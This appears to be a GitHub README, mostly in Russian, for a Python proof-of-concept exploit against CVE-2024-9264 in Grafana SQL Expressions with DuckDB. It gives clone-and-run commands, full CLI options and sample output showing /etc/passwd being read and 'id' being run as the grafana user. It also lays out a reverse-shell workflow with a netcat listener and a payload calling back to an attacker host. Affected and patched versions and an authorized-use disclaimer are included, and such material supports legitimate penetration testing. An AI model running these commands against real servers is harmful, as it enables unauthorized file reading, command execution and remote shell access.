
CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC
Эксплойт на Python для CVE-2024-9264, уязвимости Grafana SQL Expressions, которая позволяет аутентифицированному пользователю выполнять включение локальных файлов и команд, когда duckdb доступен в PATH процесса Grafana.
Только для авторизованного тестирования и исследований. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
read_blob(). Если запрошено выполнение команды, сначала используется /etc/passwd в качестве файла проверки по умолчанию.shellfs и выполняет команду через вызов read_csv() с поддержкой канала./tmp/cve_2024_9264_out и выводит декодированный результат.Уязвимая конечная точка может быть вызвана напрямую через API; взаимодействие с панелью управления (dashboard) не требуется. Аутентификация по-прежнему обязательна.



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
При использовании --file отдельно скрипт напрямую считывает указанный файл и выводит декодированное содержимое в разделе результатов чтения файла.
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
Сначала скрипт выполняет проверку по умолчанию чтения файла /etc/passwd, затем доставляет полезную нагрузку команды. В разделе результатов он выводит декодированный вывод команды, а не необработанный JSON-ответ Grafana.
Запустите слушатель:
rlwrap nc -lvnp 4444
Отправьте полезную нагрузку обратной оболочки:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
Эти параметры основаны на текущем CLI скрипта:
-u, --url, --target TARGET
Target URL, e.g. http://localhost:3000
--username USERNAME Grafana username. Default: admin
--password PASSWORD Grafana password. Default: admin
--file FILE File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
Marker expected in file read response. Default: root:
--cmd CMD Command to execute through the DuckDB shellfs path
--reverse-shell Run a bash reverse shell payload
--lhost LHOST Listener host for --reverse-shell
--lport LPORT Listener port for --reverse-shell
--timeout TIMEOUT HTTP timeout in seconds. Default: 20
--verify-tls Verify TLS certificates. Default: enabled
-k, --insecure Disable TLS certificate verification
--dry-run Print target and payload metadata without sending requests
--debug Print request debugging metadata
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| Продукт | Затронутая версия | Требуемый доступ | Воздействие |
|---|---|---|---|
| Grafana OSS / Enterprise | Grafana 11.0.x, 11.1.x и 11.2.x до исправленных выпусков безопасности | Зритель или выше | Включение локальных файлов и внедрение команд при наличии DuckDB в PATH Grafana |
Grafana отмечает, что для эксплуатации необходимо наличие бинарного файла duckdb в PATH процесса Grafana; в обычных дистрибутивах Grafana DuckDB не устанавливается по умолчанию.
shellfs в целевой среде.-k или --insecure.11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 и 11.2.2+security-01.ozcanpng - github.com/ozcanpng - ozcanpng.dev